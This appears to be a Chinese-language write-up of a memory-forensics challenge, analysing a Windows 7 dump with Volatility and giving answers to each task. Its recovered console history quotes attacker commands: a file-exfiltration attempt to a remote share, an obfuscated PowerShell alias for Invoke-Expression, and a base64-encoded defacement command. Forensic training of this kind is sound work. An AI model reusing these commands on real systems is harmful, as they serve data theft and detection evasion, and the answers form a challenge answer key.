Recollection
Sherlock Scenario
A junior member of our security team has been performing research and testing on what we believe to be an old and insecure operating system. We believe it may have been compromised & have managed to retrieve a memory dump of the asset. We want to confirm what actions were carried out by the attacker and if any other assets in our environment might be affected. Please answer the questions below.
我们安全团队的一名初级成员一直在对我们认为是旧且不安全的操作系统进行研究和测试。我们相信它可能已经遭到入侵，并且我们已经成功获取了该资产的内存转储。我们希望确认攻击者采取了哪些行动，以及我们环境中是否还有其他资产受到影响。请回答以下问题。
题目数据
备注
由于附件过大，故在此不提供下载链接
Task 1
机器的操作系统是什么？
Volatility2
python2 ./volatility-master/vol.py -f recollection.bin imageinfo
Volatility Foundation Volatility Framework 2.6.1
INFO : volatility.debug : Determining profile based on KDBG search...
WARNING : volatility.debug : Overlay structure cpuinfo_x86 not present in vtypes
WARNING : volatility.debug : Overlay structure cpuinfo_x86 not present in vtypes
WARNING : volatility.debug : Overlay structure cpuinfo_x86 not present in vtypes
WARNING : volatility.debug : Overlay structure cpuinfo_x86 not present in vtypes
Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418
AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)
AS Layer2 : FileAddressSpace (/home/randark/recollection.bin)
PAE type : No PAE
DTB : 0x187000L
KDBG : 0xf80002a3f120L
Number of Processors : 1
Image Type (Service Pack) : 1
KPCR for CPU 0 : 0xfffff80002a41000L
KUSER_SHARED_DATA : 0xfffff78000000000L
Image date and time : 2022-12-19 16:07:30 UTC+0000
Image local date and time : 2022-12-19 22:07:30 +0600
Volatility3
vol -f recollection.bin windows.info
Kernel Base 0xf8000285c000
DTB 0x187000
Symbols file:///home/randark/.local/lib/python3.10/site-packages/volatility3/symbols/windows/ntkrnlmp.pdb/DADDB88936DE450292977378F364B110-1.json.xz
Is64Bit True
IsPAE False
layer_name 0 WindowsIntel32e
memory_layer 1 FileLayer
KdDebuggerDataBlock 0xf80002a3f120
NTBuildLab 7601.24214.amd64fre.win7sp1_ldr_
CSDVersion 1
KdVersionBlock 0xf80002a3f0e8
Major/Minor 15.7601
MachineType 34404
KeNumberProcessors 1
SystemTime 2022-12-19 16:07:30
NtSystemRoot C:\Windows
NtProductType NtProductWinNt
NtMajorVersion 6
NtMinorVersion 1
PE MajorOperatingSystemVersion 6
PE MinorOperatingSystemVersion 1
PE Machine 34404
PE TimeDateStamp Thu Aug 2 02:18:10 2018
Answer
Windows 7
Task 2
内存转储是什么时候创建的？
上文中就有
Answer
2022-12-19 16:07:30
Task 3
在攻击者获得对机器的访问权限后，攻击者将一个混淆的 PowerShell 命令复制到了剪贴板上。这个命令是什么？
python2 ./volatility-master/vol.py -f recollection.bin --profile=Win7SP1x64 clipboard
Volatility Foundation Volatility Framework 2.6.1
Session WindowStation Format Handle Object Data
---------- ------------- ------------------ ------------------ ------------------ --------------------------------------------------
1 WinSta0 CF_UNICODETEXT 0x6b010d 0xfffff900c1bef100 (gv '*MDR*').naMe[3,11,2]-joIN''
1 WinSta0 CF_TEXT 0x7400000000 ------------------
1 WinSta0 CF_LOCALE 0x7d02bd 0xfffff900c209a260
1 WinSta0 0x0L 0x0 ------------------
Answer
(gv '*MDR*').naMe[3,11,2]-joIN''
Task 4
攻击者复制了混淆命令，将其用作 PowerShell 命令的别名。这个命令的名称是什么？
python2 ./volatility-master/vol.py -f recollection.bin --profile=Win7SP1x64 consoles
Volatility Foundation Volatility Framework 2.6.1
**************************************************
ConsoleProcess: conhost.exe Pid: 3524
Console: 0xff9d6200 CommandHistorySize: 50
HistoryBufferCount: 3 HistoryBufferMax: 4
OriginalTitle: %SystemRoot%\system32\cmd.exe
Title: C:\Windows\system32\cmd.exe - powershell
AttachedProcess: powershell.exe Pid: 3532 Handle: 0xdc
AttachedProcess: cmd.exe Pid: 4052 Handle: 0x60
----
CommandHistory: 0xc2c50 Application: powershell.exe Flags:
CommandCount: 0 LastAdded: -1 LastDisplayed: -1
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x0
----
CommandHistory: 0xbef50 Application: powershell.exe Flags: Allocated, Reset
CommandCount: 6 LastAdded: 5 LastDisplayed: 5
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0xdc
Cmd #0 at 0xc71c0: type C:\Users\Public\Secret\Confidential.txt > \\192.168.0.171\pulice\pass.txt
Cmd #1 at 0xbf230: powershell -e "ZWNobyAiaGFja2VkIGJ5IG1hZmlhIiA+ICJDOlxVc2Vyc1xQdWJsaWNcT2ZmaWNlXHJlYWRtZS50eHQi"
Cmd #2 at 0x9d1a0: powershell.exe -e "ZWNobyAiaGFja2VkIGJ5IG1hZmlhIiA+ICJDOlxVc2Vyc1xQdWJsaWNcT2ZmaWNlXHJlYWRtZS50eHQi"
Cmd #3 at 0xc72a0: cd .\Downloads
Cmd #4 at 0xbdf10: ls
Cmd #5 at 0xc2ee0: .\b0ad704122d9cffddd57ec92991a1e99fc1ac02d5b4d8fd31720978c02635cb1.exe
----
CommandHistory: 0xbebe0 Application: cmd.exe Flags: Allocated, Reset
CommandCount: 2 LastAdded: 1 LastDisplayed: 1
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x60
Cmd #0 at 0xc2f80: powershell -command "(gv'*MDR*').naMe[3,11,2]-joIN''"
Cmd #1 at 0xbd660: powershell
----
Screen 0xa10c0 X:80 Y:300
Dump:
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\user>powershell -command "(gv'*MDR*').naMe[3,11,2]-joIN''"
iex
C:\Users\user>powershell
Windows PowerShell
Copyright (C) 2009 Microsoft Corporation. All rights reserved.
PS C:\Users\user> type C:\Users\Public\Secret\Confidential.txt > \\192.168.0.171\pulice\pass.txt
The network path was not found.
At line:1 char:47
+ type C:\Users\Public\Secret\Confidential.txt > <<<< \\192.168.0.171\pulice\p ass.txt
+ CategoryInfo : OpenError: (:) [], IOException
+ FullyQualifiedErrorId : FileOpenFailure
PS C:\Users\user> powershell -e "ZWNobyAiaGFja2VkIGJ5IG1hZmlhIiA+ICJDOlxVc2Vyc1xQdWJsaWNcT2ZmaWNlXHJlYWRtZS50eHQi"
The term '??????????????????????????????' is not recognized as the name of a cm
dlet, function, script file, or operable program. Check the spelling of the nam
e, or if a path was included, verify that the path is correct and try again.
At line:1 char:31
+ ?????????????????????????????? <<<<
+ CategoryInfo : ObjectNotFound: (??????????????????????????????:
String) [], CommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\user> powershell.exe -e "ZWNobyAiaGFja2VkIGJ5IG1hZmlhIiA+ICJDOlxVc2Vyc1xQdWJsaWNcT2ZmaWNlXHJlYWRtZS50eHQi"
The term '??????????????????????????????' is not recognized as the name of a cm
dlet, function, script file, or operable program. Check the spelling of the nam
e, or if a path was included, verify that the path is correct and try again.
At line:1 char:31
+ ?????????????????????????????? <<<<
+ CategoryInfo : ObjectNotFound: (??????????????????????????????:
String) [], CommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\user> cd .\Downloads
PS C:\Users\user\Downloads> ls
Directory: C:\Users\user\Downloads
Mode LastWriteTime Length Name
---- ------------- ------ ----
----- 12/19/2022 2:59 PM 420864 b0ad704122d9cffddd57ec92991a1e99fc1ac02d5b4d8fd31720978c02635cb1.exe
-a--- 12/19/2022 9:00 PM 313152 b0ad704122d9cffddd57ec92991a1e99fc1ac02d5b4d8fd31720978c02635cb1.zip
-a--- 12/19/2022 9:00 PM 205646 bf9e9366489541153d0e2cd21bdae11591f6be48407f896b75e1320628346b03.zip
-a--- 12/19/2022 3:00 PM 309248 csrsss.exe
-a--- 12/17/2022 4:16 PM 5885952 wazuh-agent-4.3.10-1.msi
PS C:\Users\user\Downloads> .\b0ad704122d9cffddd57ec92991a1e99fc1ac02d5b4d8fd31720978c02635cb1.exe
PS C:\Users\user\Downloads>
**************************************************
ConsoleProcess: conhost.exe Pid: 2312
Console: 0xff9d6200 CommandHistorySize: 50
HistoryBufferCount: 4 HistoryBufferMax: 4
OriginalTitle: Windows PowerShell
Title: Windows PowerShell
AttachedProcess: powershell.exe Pid: 3688 Handle: 0x60
----
CommandHistory: 0x1be7b0 Application: powershell.exe Flags:
CommandCount: 0 LastAdded: -1 LastDisplayed: -1
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x0
----
CommandHistory: 0x1be500 Application: net1.exe Flags:
CommandCount: 0 LastAdded: -1 LastDisplayed: -1
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x0
----
CommandHistory: 0xddaf0 Application: net.exe Flags:
CommandCount: 0 LastAdded: -1 LastDisplayed: -1
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x0
----
CommandHistory: 0x1bdab0 Application: powershell.exe Flags: Allocated, Reset
CommandCount: 5 LastAdded: 4 LastDisplayed: 4
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x60
Cmd #0 at 0xd7980: gv '*MDR*').naMe[3,11,2]-joIN''
Cmd #1 at 0xd79d0: (gv '*MDR*').naMe[3,11,2]-joIN''
Cmd #2 at 0x1bc560: net users
Cmd #3 at 0x1be6e0: powershell -e "ZWNobyAiaGFja2VkIGJ5IG1hZmlhIiA+ICJDOlxVc2Vyc1xQdWJsaWNcT2ZmaWNlXHJlYWRtZS50eHQi"
Cmd #4 at 0xd7a20: (gv '*MDR*').naMe[3,11,2]-joIN''
----
Screen 0xe18a0 X:120 Y:3000
Dump:
Windows PowerShell
Copyright (C) 2009 Microsoft Corporation. All rights reserved.
PS C:\Users\user> gv '*MDR*').naMe[3,11,2]-joIN''
Unexpected token ')' in expression or statement.
At line:1 char:12
+ gv '*MDR*') <<<<.naMe[3,11,2]-joIN''
+ CategoryInfo : ParserError: ():String) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : UnexpectedToken
PS C:\Users\user> (gv '*MDR*').naMe[3,11,2]-joIN''
iex
PS C:\Users\user> net users
User accounts for \\USER-PC
-------------------------------------------------------------------------------
Administrator Guest user
The command completed successfully.
PS C:\Users\user> powershell -e "ZWNobyAiaGFja2VkIGJ5IG1hZmlhIiA+ICJDOlxVc2Vyc1xQdWJsaWNcT2ZmaWNlXHJlYWRtZS50eHQi"
The term '??????????????????????????????' is not recognized as the name of a cmdlet, function, script file, or operable
program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again.
At line:1 char:31
+ ?????????????????????????????? <<<<
+ CategoryInfo : ObjectNotFound: (??????????????????????????????:String) [], CommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\Users\user> (gv '*MDR*').naMe[3,11,2]-joIN''
iex
PS C:\Users\user>
在其中关注到
PS C:\Users\user> (gv '*MDR*').naMe[3,11,2]-joIN''
iex
Answer
Invoke-Expression
Task 5
执行了一个 CMD 命令，试图将一个文件渗透出去。完整的命令行是什么？
在上一题中可以得到
Answer
type C:\Users\Public\Secret\Confidential.txt > \\192.168.0.171\pulice\pass.txt
Task 6
在上述命令之后，请告诉我们文件是否成功被渗透出去了？
python2 ./volatility-master/vol.py -f recollection.bin --profile=Win7SP1x64 consoles
PS C:\Users\user> type C:\Users\Public\Secret\Confidential.txt > \\192.168.0.171\pulice\passtxt
The network path was not found.
At line:1 char:47
+ type C:\Users\Public\Secret\Confidential.txt > <<<< \\192.168.0.171\pulice\pass.txt
+ CategoryInfo : OpenError: (:) [], IOException
+ FullyQualifiedErrorId : FileOpenFailure
Answer
No
Task 7
攻击者试图创建一个 readme 文件。这个文件的完整路径是什么？
在 Task 4 中就有
powershell -e "ZWNobyAiaGFja2VkIGJ5IG1hZmlhIiA+ICJDOlxVc2Vyc1xQdWJsaWNcT2ZmaWNlXHJlYWRtZS50eHQi"
ZWNobyAiaGFja2VkIGJ5IG1hZmlhIiA+ICJDOlxVc2Vyc1xQdWJsaWNcT2ZmaWNlXHJlYWRtZS50eHQi
echo "hacked by mafia" > "C:\Users\Public\Office\readme.txt"
Answer
C:\Users\Public\Office\readme.txt
Task 8
机器的主机名是什么？
python2 ./volatility-master/vol.py -f recollection.bin --profile=Win7SP1x64 hivelist
Volatility Foundation Volatility Framework 2.6.1
Virtual Physical Name
------------------ ------------------ ----
0xfffff8a004266010 0x000000009a90f010 \Device\HarddiskVolume1\Boot\BCD
0xfffff8a004a41010 0x000000009df13010 \SystemRoot\System32\Config\DEFAULT
0xfffff8a004a57010 0x000000009ddb9010 \SystemRoot\System32\Config\SAM
0xfffff8a00000d190 0x00000000a9882190 [no name]
0xfffff8a000024010 0x00000000a96fa010 \REGISTRY\MACHINE\SYSTEM
0xfffff8a00004f010 0x00000000a9725010 \REGISTRY\MACHINE\HARDWARE
0xfffff8a0006d4010 0x0000000081300010 \SystemRoot\System32\Config\SECURITY
0xfffff8a000733010 0x00000000a1d49010 \SystemRoot\System32\Config\SOFTWARE
0xfffff8a000ca4010 0x000000009f5fb010 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT
0xfffff8a000d35010 0x00000000976ff010 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT
0xfffff8a00125b010 0x0000000083a0c010 \??\C:\Users\user\ntuser.dat
0xfffff8a0012e3010 0x000000007cb5d010 \??\C:\Users\user\AppData\Local\Microsoft\Windows\UsrClass.dat
0xfffff8a00257e010 0x0000000106fd2010 \??\C:\System Volume Information\Syscache.hve
定位到 \REGISTRY\MACHINE\SYSTEM
python2 ./volatility-master/vol.py -f recollection.bin --profile=Win7SP1x64 printkey -o 0xfffff8a000024010 -K'ControlSet001\Control\ComputerName\ComputerName'
Volatility Foundation Volatility Framework 2.6.1
Legend: (S) = Stable (V) = Volatile
----------------------------
Registry: \REGISTRY\MACHINE\SYSTEM
Key name: ComputerName (S)
Last updated: 2022-12-10 23:48:28 UTC+0000
Subkeys:
Values:
REG_SZ : (S) mnmsrvc
REG_SZ ComputerName : (S) USER-PC
Task 9
机器上有多少个用户账户？
python2 ./volatility-master/vol.py -f recollection.bin --profile=Win7SP1x64 consoles
PS C:\Users\user> net users
User accounts for \\USER-PC
-------------------------------------------------------------------------------
Administrator Guest user
The command completed successfully.
Answer
3
Task 10
在 "\Device\HarddiskVolume2\Users\user\AppData\Local\Microsoft\Edge" 文件夹中，有一些子文件夹，其中有一个名为 passwords.txt 的文件。这个文件的完整位置 / 路径是什么？
python2 ./volatility-master/vol.py -f recollection.bin --profile=Win7SP1x64 filescan | grep"Microsoft"| grep"Edge"| grep"passwords"
Volatility Foundation Volatility Framework 2.6.1
0x000000011fc10070 1 0 R--rw- \Device\HarddiskVolume2\Users\user\AppData\Local\Microsoft\Edge\User Data\ZxcvbnData\3.0.0.0\passwords.txt
Answer
\Device\HarddiskVolume2\Users\user\AppData\Local\Microsoft\Edge\User Data\ZxcvbnData\3.0.0.0\passwords.txt
Task 11
使用命令执行了一个恶意可执行文件。这个可执行的 EXE 文件的名称是其自身的哈希值。这个哈希值是什么？
python2 ./volatility-master/vol.py -f recollection.bin --profile=Win7SP1x64 consoles
......
Cmd #5 at 0xc2ee0: .\b0ad704122d9cffddd57ec92991a1e99fc1ac02d5b4d8fd31720978c02635cb1.exe
Answer
b0ad704122d9cffddd57ec92991a1e99fc1ac02d5b4d8fd31720978c02635cb1
Task 12
根据上述问题，你找到的恶意文件的 Imphash 是什么？
首先，先定位到这个文件
python2 ./volatility-master/vol.py -f recollection.bin --profile=Win7SP1x64 filescan | grep"b0ad704122d9cffddd57ec92991a1e99fc1ac02d5b4d8fd31720978c02635cb1"
Volatility Foundation Volatility Framework 2.6.1
0x000000011ee95460 12 0 R--rw- \Device\HarddiskVolume2\Users\user\Downloads\b0ad704122d9cffddd57ec92991a1e99fc1ac02d5b4d8fd31720978c02635cb1.zip
0x000000011fa45c20 16 0 -W-r-- \Device\HarddiskVolume2\Users\user\Downloads\b0ad704122d9cffddd57ec92991a1e99fc1ac02d5b4d8fd31720978c02635cb1.exe
0x000000011fc1db70 2 0 R--r-d \Device\HarddiskVolume2\Users\user\Downloads\b0ad704122d9cffddd57ec92991a1e99fc1ac02d5b4d8fd31720978c02635cb1.exe
然后将文件提取出来
python2 ./volatility-master/vol.py -f recollection.bin --profile=Win7SP1x64 dumpfiles -Q 0x000000011fa45c20 -n -D ./
Volatility Foundation Volatility Framework 2.6.1
ImageSectionObject 0x11fa45c20 None \Device\HarddiskVolume2\Users\user\Downloads\b0ad704122d9cffddd57ec92991a1e99fc1ac02d5b4d8fd31720978c02635cb1.exe
DataSectionObject 0x11fa45c20 None \Device\HarddiskVolume2\Users\user\Downloads\b0ad704122d9cffddd57ec92991a1e99fc1ac02d5b4d8fd31720978c02635cb1.exe
对 file.None.0xfffffa8003b62990.b0ad704122d9cffddd57ec92991a1e99fc1ac02d5b4d8fd31720978c02635cb1.exe.dat 这个文件，使用 Pestudio 进行分析
Answer
d3b592cd9481e4f053b5362e22d61595
Task 13
根据上述问题，告诉我们恶意文件的创建日期（使用 UTC 格式）是什么？
根据 exiftools 的分析结果
exiftool file.None.0xfffffa8003b62990.b0ad704122d9cffddd57ec92991a1e99fc1ac02d5b4d8fd31720978c02635cb1.exe.dat
ExifTool Version Number : 12.40
File Name : file.None.0xfffffa8003b62990.b0ad704122d9cffddd57ec92991a1e99fc1ac02d5b4d8fd31720978c02635cb1.exe.dat
Directory : .
File Size : 412 KiB
File Modification Date/Time : 2024:03:05 00:03:31+08:00
File Access Date/Time : 2024:03:05 00:05:43+08:00
File Inode Change Date/Time : 2024:03:05 00:03:31+08:00
File Permissions : -rw-rw-r--
File Type : Win32 EXE
File Type Extension : exe
MIME Type : application/octet-stream
Machine Type : Intel 386 or later, and compatibles
Time Stamp : 2022:06:22 19:49:04+08:00
Image File Characteristics : Executable, 32-bit
PE Type : PE32
Linker Version : 9.0
Code Size : 66560
Initialized Data Size : 366080
Uninitialized Data Size : 0
Entry Point : 0x527e
OS Version : 5.0
Image Version : 0.0
Subsystem Version : 5.0
Subsystem : Windows GUI
File Version Number : 100.0.0.0
Product Version Number : 98.0.0.0
File Flags Mask : 0x392a
File Flags : (none)
File OS : Unknown (0x60481)
Object File Type : Unknown
File Subtype : 0
Answer
2022-06-22 11:49:04
Task 14
机器的本地 IP 地址是什么？
python2 ./volatility-master/vol.py -f recollection.bin --profile=Win7SP1x64 netscan
Volatility Foundation Volatility Framework 2.6.1
Offset(P) Proto Local Address Foreign Address State Pid Owner Created
0x11e01f750 UDPv4 127.0.0.1:1900 *:* 1248 svchost.exe 2022-12-19 15:34:44 UTC+0000
0x11e063940 UDPv4 0.0.0.0:3702 *:* 1248 svchost.exe 2022-12-19 15:33:02 UTC+0000
0x11e063940 UDPv6 :::3702 *:* 1248 svchost.exe 2022-12-19 15:33:02 UTC+0000
0x11e0727d0 UDPv4 0.0.0.0:5355 *:* 288 svchost.exe 2022-12-19 15:32:47 UTC+0000
0x11e09a900 UDPv4 0.0.0.0:0 *:* 288 svchost.exe 2022-12-19 15:32:44 UTC+0000
0x11e09a900 UDPv6 :::0 *:* 288 svchost.exe 2022-12-19 15:32:44 UTC+0000
0x11e09ca60 UDPv4 0.0.0.0:5355 *:* 288 svchost.exe 2022-12-19 15:32:47 UTC+0000
0x11e09ca60 UDPv6 :::5355 *:* 288 svchost.exe 2022-12-19 15:32:47 UTC+0000
0x11e15aec0 UDPv4 0.0.0.0:3702 *:* 1248 svchost.exe 2022-12-19 15:33:02 UTC+0000
0x11e362880 UDPv4 0.0.0.0:55071 *:* 1248 svchost.exe 2022-12-19 15:32:38 UTC+0000
0x11e36fec0 UDPv4 0.0.0.0:55072 *:* 1248 svchost.exe 2022-12-19 15:32:38 UTC+0000
0x11e36fec0 UDPv6 :::55072 *:* 1248 svchost.exe 2022-12-19 15:32:38 UTC+0000
0x11e37a440 UDPv4 0.0.0.0:3702 *:* 1248 svchost.exe 2022-12-19 15:33:02 UTC+0000
0x11e37a440 UDPv6 :::3702 *:* 1248 svchost.exe 2022-12-19 15:33:02 UTC+0000
0x11e3b2bf0 UDPv4 192.168.0.104:138 *:* 4 System 2022-12-19 15:32:47 UTC+0000
0x11e3b40e0 UDPv4 192.168.0.104:137 *:* 4 System 2022-12-19 15:32:47 UTC+0000
定位 Local Address 即可
Answer
192.168.0.104
Task 15
有多个 PowerShell 进程，其中一个进程是另一个进程的子进程。它的父进程是哪个进程？
python2 ./volatility-master/vol.py -f recollection.bin --profile=Win7SP1x64 pstree
Volatility Foundation Volatility Framework 2.6.1
Name Pid PPid Thds Hnds Time
-------------------------------------------------- ------ ------ ------ ------ ----
0xfffffa8005967060:explorer.exe 2032 1988 23 906 2022-12-19 15:33:13 UTC+0000
. 0xfffffa8003de2750:notepad.exe 3476 2032 1 62 2022-12-19 15:50:42 UTC+0000
. 0xfffffa80059e9b00:msedge.exe 2380 2032 43 1123 2022-12-19 15:34:29 UTC+0000
.. 0xfffffa800383cb00:msedge.exe 2752 2380 16 300 2022-12-19 15:34:32 UTC+0000
.. 0xfffffa8003ce4700:msedge.exe 2060 2380 15 255 2022-12-19 15:53:59 UTC+0000
.. 0xfffffa80055e3160:msedge.exe 2396 2380 8 87 2022-12-19 15:34:29 UTC+0000
.. 0xfffffa800586e2d0:msedge.exe 2588 2380 16 235 2022-12-19 15:34:31 UTC+0000
.. 0xfffffa8003bc1b00:msedge.exe 2160 2380 12 161 2022-12-19 16:03:52 UTC+0000
.. 0xfffffa8003d7c060:msedge.exe 3560 2380 15 330 2022-12-19 16:03:48 UTC+0000
.. 0xfffffa8005addb00:msedge.exe 3032 2380 12 191 2022-12-19 15:34:35 UTC+0000
.. 0xfffffa800586eb00:msedge.exe 2680 2380 8 142 2022-12-19 15:34:31 UTC+0000
.. 0xfffffa8003b16b00:msedge.exe 980 2380 12 195 2022-12-19 15:35:05 UTC+0000
. 0xfffffa8003cbc060:cmd.exe 4052 2032 1 23 2022-12-19 15:40:08 UTC+0000
.. 0xfffffa8005abbb00:powershell.exe 3532 4052 5 606 2022-12-19 15:44:44 UTC+0000
. 0xfffffa8003d6b060:powershell.exe 3688 2032 5 367 2022-12-19 15:43:39 UTC+0000
0xfffffa80036ef040:System 4 0 81 519 2022-12-19 15:32:28 UTC+0000
. 0xfffffa80048f1920:smss.exe 260 4 2 29 2022-12-19 15:32:28 UTC+0000
0xfffffa8004fa7b00:csrss.exe 328 320 9 330 2022-12-19 15:32:30 UTC+0000
0xfffffa80036f9060:wininit.exe 376 320 3 76 2022-12-19 15:32:30 UTC+0000
. 0xfffffa8004ef18e0:services.exe 472 376 8 189 2022-12-19 15:32:30 UTC+0000
.. 0xfffffa800524c060:svchost.exe 672 472 7 244 2022-12-19 15:32:32 UTC+0000
.. 0xfffffa8003a60060:wmpnetwk.exe 2652 472 13 409 2022-12-19 15:34:54 UTC+0000
.. 0xfffffa80052a8060:svchost.exe 804 472 18 438 2022-12-19 15:32:32 UTC+0000
... 0xfffffa8005959230:dwm.exe 2012 804 3 73 2022-12-19 15:33:13 UTC+0000
.. 0xfffffa80058d4b00:taskhost.exe 1960 472 9 203 2022-12-19 15:33:13 UTC+0000
.. 0xfffffa80052b3b00:svchost.exe 832 472 17 382 2022-12-19 15:32:32 UTC+0000
.. 0xfffffa8005477b00:svchost.exe 1248 472 16 268 2022-12-19 15:32:37 UTC+0000
.. 0xfffffa8005423b00:svchost.exe 1220 472 10 189 2022-12-19 15:32:37 UTC+0000
.. 0xfffffa80059152d0:SearchIndexer. 1784 472 14 623 2022-12-19 15:33:19 UTC+0000
.. 0xfffffa80052dcb00:svchost.exe 288 472 14 464 2022-12-19 15:32:37 UTC+0000
.. 0xfffffa80053a9b00:svchost.exe 1144 472 17 314 2022-12-19 15:32:37 UTC+0000
.. 0xfffffa8005207790:svchost.exe 596 472 10 348 2022-12-19 15:32:31 UTC+0000
.. 0xfffffa80052beb00:svchost.exe 856 472 28 945 2022-12-19 15:32:32 UTC+0000
... 0xfffffa8003ba9060:wuauclt.exe 3336 856 3 94 2022-12-19 15:35:59 UTC+0000
... 0xfffffa8003f08b00:taskeng.exe 3268 856 4 77 2022-12-19 16:03:12 UTC+0000
.. 0xfffffa8003a32b00:sppsvc.exe 1572 472 4 147 2022-12-19 15:34:52 UTC+0000
.. 0xfffffa8005373b00:spoolsv.exe 1116 472 13 268 2022-12-19 15:32:37 UTC+0000
.. 0xfffffa800527ab00:svchost.exe 764 472 18 468 2022-12-19 15:32:32 UTC+0000
. 0xfffffa8004fce500:lsass.exe 480 376 6 547 2022-12-19 15:32:30 UTC+0000
. 0xfffffa8004efab00:lsm.exe 488 376 9 141 2022-12-19 15:32:30 UTC+0000
0xfffffa8004fb3b00:csrss.exe 388 368 8 377 2022-12-19 15:32:30 UTC+0000
. 0xfffffa8003d67060:conhost.exe 2312 388 2 54 2022-12-19 15:43:39 UTC+0000
. 0xfffffa8003a8db00:conhost.exe 3524 388 2 55 2022-12-19 15:40:08 UTC+0000
0xfffffa8004ffb300:winlogon.exe 428 368 3 111 2022-12-19 15:32:30 UTC+0000
Answer
cmd.exe
Task 16
攻击者可能使用了一个电子邮件地址来登录社交媒体。你能告诉我们这个电子邮件地址是什么？
strings recollection.bin | grep"mail"| grep -E"[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+.[a-zA-Z]{2,6}"
......
Answer
mafia_code1337@gmail.com
Task 17
受害者使用 MS Edge 浏览器搜索了一个 SIEM 解决方案。这个 SIEM 解决方案的名称是什么？
首先，先查找保存历史记录的文件
python2 ./volatility-master/vol.py -f recollection.bin --profile=Win7SP1x64 filescan | grep -i"history"
Volatility Foundation Volatility Framework 2.6.1
0x000000011de6e9c0 16 0 R--rw- \Device\HarddiskVolume2\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal
0x000000011deb9220 18 1 RW-rw- \Device\HarddiskVolume2\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history
0x000000011e0795f0 18 1 RW-rw- \Device\HarddiskVolume2\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history
0x000000011e0d16f0 17 1 RW-rw- \Device\HarddiskVolume2\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
0x000000011e4d59e0 16 0 R--rwd \Device\HarddiskVolume2\Users\user\AppData\Local\Microsoft\Windows\History\desktop.ini
0x000000011fc57a10 17 1 RW-rw- \Device\HarddiskVolume2\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal
然后将历史记录的文件提取出来
python2 ./volatility-master/vol.py -f recollection.bin --profile=Win7SP1x64 dumpfiles -Q 0x000000011e0d16f0 -D ./
Volatility Foundation Volatility Framework 2.6.1
DataSectionObject 0x11e0d16f0 None \Device\HarddiskVolume2\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
SharedCacheMap 0x11e0d16f0 None \Device\HarddiskVolume2\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
将提取出来的文件作为 sqlite 数据库进行加载，在 keyword_search_terms 表中得到以下信息
| keyword_id | url_id | term | normalized_term |
|---|---|---|---|
| 2 | 5 | install wazuh agent windows | install wazuh agent windows |
| 2 | 12 | malwarebazaar | malwarebazaar |
| 2 | 21 | malwarebazaar | malwarebazaar |
| 2 | 23 | 7 zip windows 10 | 7 zip windows 10 |
| 2 | 24 | 7 zip windows 7 | 7 zip windows 7 |
| 2 | 27 | base64 encode | base64 encode |
Answer
Wazuh
Task 18
受害者用户下载了一个 exe 文件。该文件的名称模仿了一个来自 Microsoft 的合法二进制文件，但有一个拼写错误（例如，合法的二进制文件是 powershell.exe，攻击者将恶意软件命名为 powershall.exe）。告诉我们这个带有文件扩展名的文件名是什么？
首先，先定位文件
python2 ./volatility-master/vol.py -f recollection.bin --profile=Win7SP1x64 filescan | grep -i"Downloads"
Volatility Foundation Volatility Framework 2.6.1
0x000000011dff8aa0 2 1 R--rwd \Device\HarddiskVolume2\Users\user\Downloads
0x000000011e0ee070 16 0 R--rw- \Device\HarddiskVolume2\Users\user\Links\Downloads.lnk
0x000000011e580e40 15 0 R--rwd \Device\HarddiskVolume2\Users\user\Downloads\desktop.ini
0x000000011e7d1aa0 2 1 R--rwd \Device\HarddiskVolume2\Users\user\Downloads
0x000000011e955820 16 0 -W-r-- \Device\HarddiskVolume2\Users\user\Downloads\csrsss.exe9541153d0e2cd21bdae11591f6be48407f896b75e1320628346b03.exe
0x000000011ee95460 12 0 R--rw- \Device\HarddiskVolume2\Users\user\Downloads\b0ad704122d9cffddd57ec92991a1e99fc1ac02d5b4d8fd31720978c02635cb1.zip
0x000000011fa45c20 16 0 -W-r-- \Device\HarddiskVolume2\Users\user\Downloads\b0ad704122d9cffddd57ec92991a1e99fc1ac02d5b4d8fd31720978c02635cb1.exe
0x000000011fc1db70 2 0 R--r-d \Device\HarddiskVolume2\Users\user\Downloads\b0ad704122d9cffddd57ec92991a1e99fc1ac02d5b4d8fd31720978c02635cb1.exe
0x000000011fd79a90 16 0 RW-rwd \Device\HarddiskVolume2\Users\user\Downloads\7z2201-x64.exe
0x000000011fdbd560 16 0 R--rwd \Device\HarddiskVolume2\Users\Public\Downloads\desktop.ini
0x000000011fdeb470 10 0 R--r-d \Device\HarddiskVolume2\Users\user\Downloads\csrsss.exe9541153d0e2cd21bdae11591f6be48407f896b75e1320628346b03.exe
0x000000011fe5b070 15 0 R--r-- \Device\HarddiskVolume2\Users\user\Downloads\bf9e9366489541153d0e2cd21bdae11591f6be48407f896b75e1320628346b03.zip
从中可以定位到这条记录
0x000000011fdeb470 10 0 R--r-d \Device\HarddiskVolume2\Users\user\Downloads\csrsss.exe9541153d0e2cd21bdae11591f6be48407f896b75e1320628346b03.exe
Answer
csrsss.exe